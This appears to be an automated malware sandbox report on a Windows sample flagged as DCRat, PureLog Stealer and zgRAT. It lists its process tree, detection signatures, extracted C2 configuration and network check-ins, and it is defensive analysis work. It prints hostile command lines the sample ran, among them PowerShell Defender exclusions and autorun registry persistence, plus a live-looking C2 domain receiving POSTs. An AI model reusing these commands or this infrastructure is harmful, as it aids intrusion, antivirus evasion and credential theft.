Edit tour

Windows Analysis Report
0wdppTE7Op.exe

Overview

General Information

Sample name:	0wdppTE7Op.exe renamed because original name is a hash value
Original sample name:	6706364c78566c589c6c45217e852b02.exe
Analysis ID:	1572695
MD5:	6706364c78566c589c6c45217e852b02
SHA1:	e0bc8a67a91d5ea42c072e63f36f4993d9620c2d
SHA256:	87fa5d0d7912d7a1295e7d585f41797bc5c76a5ea7d9d7b362fcc20472715f9b
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Infects executable files (exe, dll, sys, html)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to harvest and steal browser information (history, passwords, etc)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Powershell Defender Exclusion

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

0wdppTE7Op.exe (PID: 7436 cmdline: "C:\Users\user\Desktop\0wdppTE7Op.exe" MD5: 6706364C78566C589C6C45217E852B02)

csc.exe (PID: 7592 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 7600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 7640 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8919.tmp" "c:\Windows\System32\CSCC8A66A2F354641BDBF8E147B9A2D7E9B.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 8028 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8040 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8072 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8108 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 1420 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 8124 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8152 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\0wdppTE7Op.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7228 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rYfvxS8JxL.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7692 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7788 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

0wdppTE7Op.exe (PID: 7236 cmdline: "C:\Users\user\Desktop\0wdppTE7Op.exe" MD5: 6706364C78566C589C6C45217E852B02)

0wdppTE7Op.exe (PID: 7204 cmdline: C:\Users\user\Desktop\0wdppTE7Op.exe MD5: 6706364C78566C589C6C45217E852B02)

0wdppTE7Op.exe (PID: 2132 cmdline: C:\Users\user\Desktop\0wdppTE7Op.exe MD5: 6706364C78566C589C6C45217E852B02)

SSnsduzASLgjHWjPpweraeKhUEuCEv.exe (PID: 3192 cmdline: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe MD5: 6706364C78566C589C6C45217E852B02)

SSnsduzASLgjHWjPpweraeKhUEuCEv.exe (PID: 7580 cmdline: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe MD5: 6706364C78566C589C6C45217E852B02)

svchost.exe (PID: 7672 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

0wdppTE7Op.exe (PID: 8008 cmdline: "C:\Users\user\Desktop\0wdppTE7Op.exe" MD5: 6706364C78566C589C6C45217E852B02)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://817087cm.nyashteam.ru/Jsmultiwp", "MUTEX": "DCR_MUTEX-it4I7yJpb4JbweO8ucaW", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
0wdppTE7Op.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0wdppTE7Op.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1799154968.00000000129D7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
00000000.00000000.1666969105.0000000000152000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: 0wdppTE7Op.exe PID: 7436	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: 0wdppTE7Op.exe PID: 8008	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.0wdppTE7Op.exe.150000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.0wdppTE7Op.exe.150000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ProcessId: 7592, TargetFilename: c:\Windows\System32\SecurityHealthSystray.exe

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: "C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\0wdppTE7Op.exe, ProcessId: 7436, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSnsduzASLgjHWjPpweraeKhUEuCEv

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\0wdppTE7Op.exe", ParentImage: C:\Users\user\Desktop\0wdppTE7Op.exe, ParentProcessId: 7436, ParentProcessName: 0wdppTE7Op.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', ProcessId: 8028, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\0wdppTE7Op.exe", ParentImage: C:\Users\user\Desktop\0wdppTE7Op.exe, ParentProcessId: 7436, ParentProcessName: 0wdppTE7Op.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', ProcessId: 8124, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\0wdppTE7Op.exe, ProcessId: 7436, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSnsduzASLgjHWjPpweraeKhUEuCEv

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\0wdppTE7Op.exe, ProcessId: 7436, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\0wdppTE7Op.exe", ParentImage: C:\Users\user\Desktop\0wdppTE7Op.exe, ParentProcessId: 7436, ParentProcessName: 0wdppTE7Op.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline", ProcessId: 7592, ProcessName: csc.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\0wdppTE7Op.exe, ProcessId: 7436, TargetFilename: C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\0wdppTE7Op.exe", ParentImage: C:\Users\user\Desktop\0wdppTE7Op.exe, ParentProcessId: 7436, ParentProcessName: 0wdppTE7Op.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe', ProcessId: 8028, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7672, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Users\user\Desktop\0wdppTE7Op.exe", ParentImage: C:\Users\user\Desktop\0wdppTE7Op.exe, ParentProcessId: 7436, ParentProcessName: 0wdppTE7Op.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.cmdline", ProcessId: 7592, ProcessName: csc.exe

Suricata Signatures

ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T19:00:32.861403+0100	2048095	1	A Network Trojan was detected	192.168.2.4	49732	104.21.2.8	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 0wdppTE7Op.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://817087cm.nyashteam.ru/Jsmultiwp.php

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\JGwsqFZW.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\Desktop\jlNXDlep.log	Avira: detection malicious, Label: TR/AVI.Agent.updqb
Source: C:\Users\user\AppData\Local\Temp\rYfvxS8JxL.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\Desktop\lBrNuEzT.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\Desktop\CDADXqpE.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342

Found malware configuration

Source: 00000000.00000002.1799154968.00000000129D7000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"C2 url": "http://817087cm.nyashteam.ru/Jsmultiwp", "MUTEX": "DCR_MUTEX-it4I7yJpb4JbweO8ucaW", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	ReversingLabs: Detection: 68%
Source: C:\ProgramData\Microsoft OneDrive\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\Desktop\CDADXqpE.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\HqRBAmEs.log	ReversingLabs: Detection: 37%
Source: C:\Users\user\Desktop\JGwsqFZW.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\ZoLhjnQK.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\eLngwYfk.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\jlNXDlep.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\lBrNuEzT.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\oIpWQWtP.log	ReversingLabs: Detection: 37%
Source: C:\Windows\RemotePackages\RemoteApps\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	ReversingLabs: Detection: 68%
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	ReversingLabs: Detection: 68%
Source: C:\Windows\twain_32\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: 0wdppTE7Op.exe

ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\DealcvOk.log	Joe Sandbox ML: detected
Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\lBrNuEzT.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\CDADXqpE.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\oZfWghud.log	Joe Sandbox ML: detected
Source: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 0wdppTE7Op.exe

Joe Sandbox ML: detected

Source: 0wdppTE7Op.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Directory created: C:\Program Files\Windows NT\TableTextService\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe			Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Directory created: C:\Program Files\Windows NT\TableTextService\dc45010803acc5			Jump to behavior

Source: 0wdppTE7Op.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\dj33wjwl\dj33wjwl.pdb source: 0wdppTE7Op.exe, 00000000.00000002.1758169301.0000000002D85000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49732 -> 104.21.2.8:80

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 380Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1852Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
